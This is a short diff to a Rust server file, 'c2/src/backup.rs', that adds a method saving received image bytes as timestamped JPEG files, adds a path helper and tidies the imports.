Elio server

c2/src/backup.rs

@@ -3,13 +3,12 @@ use sharedlib::config::Config;
 use std::{
     fs,
     fs::OpenOptions,
+    io,
     io::Write,
     path::Path,
     env,
-    collections::HashMap
 };
 
-
 pub const BASEDIR:&str = "./data";
 pub const MAXFILESIZE:usize = 100;
 pub struct DataFile {
@@ -68,6 +67,14 @@ impl DataFile  {
         Ok(())
     }
 
+    pub fn save_image(&self, data:Vec<u8>) -> Result<String, io::Error> {
+        let filename = chrono::Local::now().format("%Y%m%d-%Hh%Mm%Ss.jpeg").to_string();
+        let path = get_full_path_image(self) + &filename;
+        let mut file = std::fs::File::create(path.clone())?;
+        file.write_all(&data[..])?;
+        Ok(path)
+    }
+
     fn check_data_size(&mut self){
         if self.size > MAXFILESIZE {
             self.nb_files += 1;
@@ -80,7 +87,10 @@ fn get_full_path(file : &DataFile) -> String{
     String::from(&file.path) +"/"+ file.nb_files.to_string().as_str()
 }
 
-//to do
+fn get_full_path_image(file : &DataFile) -> String{
+    String::from(&file.path) +"/".to_string().as_str()
+}
+
 fn get_file_nb(dir:&str) ->  std::io::Result<u32>   {
     let res = Path::new(&dir).read_dir()?;
     Ok(res.into_iter().count() as u32)